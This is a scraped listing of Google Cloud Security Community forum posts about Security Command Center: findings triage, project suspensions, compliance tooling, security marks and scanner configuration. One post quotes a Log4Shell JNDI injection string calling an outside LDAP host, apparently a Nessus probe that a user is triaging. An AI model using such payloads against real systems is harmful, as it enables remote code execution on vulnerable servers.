Hi Team,I am not getting what exactly withing the file is matching the signatures of these SCC yara rules can anyone help here please this is first time i am getting this not sure if this is some SCC premium service this triggered this but not able to get if its true or false positive.     

Hi Team anyone has any idea on what this low sev SCC findings are actually i am very much confused as most of them are having source IPs as AWS and Google and generating lot of noise also the url contains nessus so not sure why a google / AWS source IP would trigger this :E.g : Source IP100.27.42.240       "refererUrl": "${jndi:ldap://log4shell-generic-lQr0LA9voF9PHEyop2C6${lower:ten}.w.nessus.org/nessus}"and these are generated daily via multiple different AWS and Google IPs as source

I speak with customers daily. A challenge many security teams face isn't just finding vulnerabilities—it is mapping those vulnerabilities to compliance frameworks in a way that satisfies both internal security teams and external auditors.The monitoring and auditing capabilities of Compliance Manager in Security Command Center can fundamentally change how you define, monitor, and enforce your cloud compliance postures. What is Compliance Manager? Compliance Manager is a native SCC capability that uses software-defined cloud controls to assess, monitor, and actively enforce compliance across your Google Cloud infrastructure. https://docs.cloud.google.com/security-command-center/docs/compliance-manager-overviewInstead of relying on disconnected compliance dashboards, Compliance Manager maps Security Health Analytics (SHA) detectors directly to specific regulatory requirements, allowing you to see exactly where your workloads stand in real time. Three Operational Modes of Cloud ControlsCom

Hello everyone,I am seeking urgent guidance regarding a GCP project suspension. My account was recently suspended, and I received an email stating that the project was engaged in abusive activity consistent with "hijacked resources."The Situation:Access Denied: My production application is currently offline. Whenever I attempt to access the IAM & Admin or APIs & Services dashboard to investigate, I am automatically redirected to the suspension warning page. Unknown Leak: I have audited my frontend/backend/app environment variables (.env) but haven't found any obvious exposures. Account Lockout: Because I cannot access the IAM dashboard or Cloud Logging, I am unable to identify which credential is being abused or delete the compromised keys. Appeal Status: I submitted an appeal over a week ago, but I have not received a response, and my production app remains affected.My Questions:Is there a way to access Cloud Logging or Security Command Center via the SDK or a restricted conso

Hello Community Managers,Our production project MeshTek-Live (Project ID: meshtek-push-notificatio-724ad) was suddenly suspended yesterday for "abusive activity consistent with hijacked resources."We filed a comprehensive appeal immediately, but our production environment is completely down, impacting our active users. Because we are entirely locked out of the Google Cloud Console, we are unable to look at the Logs Explorer or rotate keys.Why we believe this is an automated false positive: Zero Billing Impact: Our Google Cloud billing dashboard shows exactly $0 in fraudulent or unexpected charges. Timing & Certification: The suspension happened immediately after we submitted our first Google Home Action integration for certification review. We believe the heavy testing traffic from Google's automated certification bots or an embedded client-side credential scanner mistakenly triggered a false-positive "hijacking" flag. No Leaks: We have audited our systems; no code or keys are

Hi all,I'm hosting a technical session on a key challenge we're all facing: adapting our security posture for AI and cloud-native workloads without slowing down innovation.I'll be moderating a discussion with my colleague, Griselda Cuevas, called "Raising the Security Baseline: Essential Protections for AI and Cloud Workloads." We'll get straight into practical approaches.Key topics we'll cover: SCC Standard Tier: A look at the newly enhanced "out-of-the-box" foundational security. Native AI Guardrails: Our strategy for making AI protection an accessible, built-in enabler. Frictionless Visibility: Methods for gaining in-context visibility for better threat detection. SCC Premium Deep Dive: When to consider upgrading and what specific problems it solves. I'm keen to share what we're learning and hear your thoughts.Session Details: When: May 20, 2026, at 8:00 AM PDT Registration/Replay: https://www.brighttalk.com/webcast/18282/666842 What are the biggest challenges you're current

The April 22 release notes for Security Command Center detail a number of new additions to the platform related to Agent Platform and Agent Runtime. Specifically,  we have introduced new correlated rules and predefined security graph rules for Agent Runtime, a long with new Event Threat Detection (ETD) rules related to AI Agents.You can read the full release notes using the link above.

In this post, we’ll explore the idea of creating a report for the configuration of Security Command Center (SCC) so that we can convey the current ‘health’ of the SCC platform to an audience.  We’ll use tools like Gemini CLI to help us draft an initial version of this report, which will let us offload the architecture of the script and let us focus on the high-level goal we are trying to solve.What types of information should go into a health check report for SCC?  Here are some ideas of things that an SCC administrator might spot-check as part of a platform review:Are there any SCC errors? Which SCC services (SHA, ETD, etc.) are enabled? How many Mute Rules are defined? Which continuous exports are defined? Are there high-value resource sets defined? Which principals (users) have administrative access to SCC?Our development environment for this use case will revolve around using Gemini CLI.  We can use Gemini CLI to prompt for this script by providing a detailed and task-oriented prom

Title: Securing the Agentic Era: Governance and Trust in the New Gemini Enterprise Agent PlatformAuthor: Tyler DooskinDate: April 26, 2026 IntroductionFollowing the major announcements at Google Cloud Next '26 in Las Vegas this week, the shift from experimental AI to the "agentic enterprise" is officially underway. The headline news is the consolidation and evolution of Vertex AI into the Gemini Enterprise Agent Platform [1]. As organizations deploy autonomous agents capable of managing complex, multi-day workflows, the conversation immediately turns to trust. How do we secure systems that not only retrieve data but act upon it?Here is a breakdown of the new governance, security, and compliance controls introduced for the Gemini Enterprise Agent Platform and what they mean for your security posture. From Vertex AI Governance to Gemini Enterprise ControlThe evolution from Vertex AI to the Gemini Enterprise Agent Platform isn't just a rebrand; it represents a unified approach to building

Hello community members, We recently released the first official Adoption Guide for SCC, right here in the Google Cloud Security Community!  The guide is about configuring high-value resource sets and covers this workflow with examples and screenshots that should make implementing this part of SCC a breeze! Take a look at the guide here!

I am a Computer Science undergraduate researcher currently analyzing network traffic patterns and regional access control mechanisms. I am particularly interested in how Google/YouTube services ensure service integrity across different geographic locations.I would like to inquire about the technical feasibility and the actual utilization of specific network metadata within the Google ecosystem (including YouTube):1. Mobile Country Code (MCC) Extraction: From a security and service delivery standpoint, does the infrastructure actively monitor the MCC of a mobile user (e.g., via carrier-provided headers or app-level telemetry) to prevent regional service bypass? If so, is this data prioritized over IP-based geolocation?2. Autonomous System Number (ASN) Analysis: Does Google’s security layer utilize ASN data (derived from the user's connecting IP) to categorize traffic and identify potential anomalies or unauthorized access points (such as VPNs or data centers)?3. Data Correlation: Is the

Why Daily Status Report is not available ?

Hello Guys, I am able to see many container image vulnerabilities in our environment. The occurrences are from artifact registry.We have fixed from 156 vulnerabilities to 22 and deleted the older digests as well.But in Risk overview -> Findings -> I am still able to see the older digests vulnerabilities that have already been fixed. When I click them it shows not found (That confirms it was deleted) but in findings tab it still retains the count.Why doesn't the count gets refreshed? We have tried manual artifact image scanning using Gcloud artifact scanner and also tried pushing the image again for refreshing still its not working. Any solution ?

Google Cloud's Security Command Center (SCC) offers a unified dashboard for consolidating security findings and assets. But what if you need to add your own business context to these findings? That's where security marks come in. To incorporate your specific business context into these findings, security marks prove invaluable. With the recent GUI upgrade, Enterprise versions now necessitate API usage, while SCC Standard and Premium versions retain GUI functionality. Security marks are custom key-value pairs you can use to annotate assets and findings in SCC. They allow you to add context like:Priority: “priority: high” Access Level: “access: confidential” Application: “app: marketing-web-prod” Incident Reference: “Incident-number: x2345”This feature is incredibly powerful for filtering, managing policies, and integrating SCC data into your security workflows. While you can add marks through the Google Cloud console, the Enterprise version of SCC often requires programmatic management

I'm trying to setup up Web Security Scanner with non-Google account for authorisation. I have a simplified login form that works as expected when saving the scan details, and I can see in our server login it's requesting the page, submitting the form, receiving the cookie, and then viewing the post-login page successfully.However when I try to run the scan it is always return a Login procedure failed error. Checking the logs I can see it's still visiting the sign in page, however no POST requests are being made. This includes both the post for the submit form, and another POST request that runs on page load. Both are called when the scan settings are being saved and verified however.I can see the login form submit is definitely triggering. From reading the documentation I can see custom scans should support POST requests, on managed scans are GET only. We are using the standard tier so these scans can only be custom scans.I've testing using alternate User Agents with no success. Is the

  Security Marks are a unique concept in Security Command Center.  They allow us to annotate assets or findings in SCC with additional business context.  You can apply Security Marks to both Assets and Findings. To apply Security Marks, you'll need one or both of the following permissions depending on whether you'll be applying Security Marks to assets, to findings, or both. For Asset Security Marks: Asset Security Marks Writer, securitycenter.assetSecurityMarksWriter For Finding Security Marks: Finding Security Marks Writer, securitycenter.findingSecurityMarksWriter You can add a Security Mark to an asset by navigating to the Assets view in Security Command Center and then selecting one or more assets.  Click the Set Security Marks button. Security Marks take the form of key-value pairs.  Here is an example of configuring a Security Mark to add the key/value pair of stage/prod to an asset. To learn more about Security Marks in Security
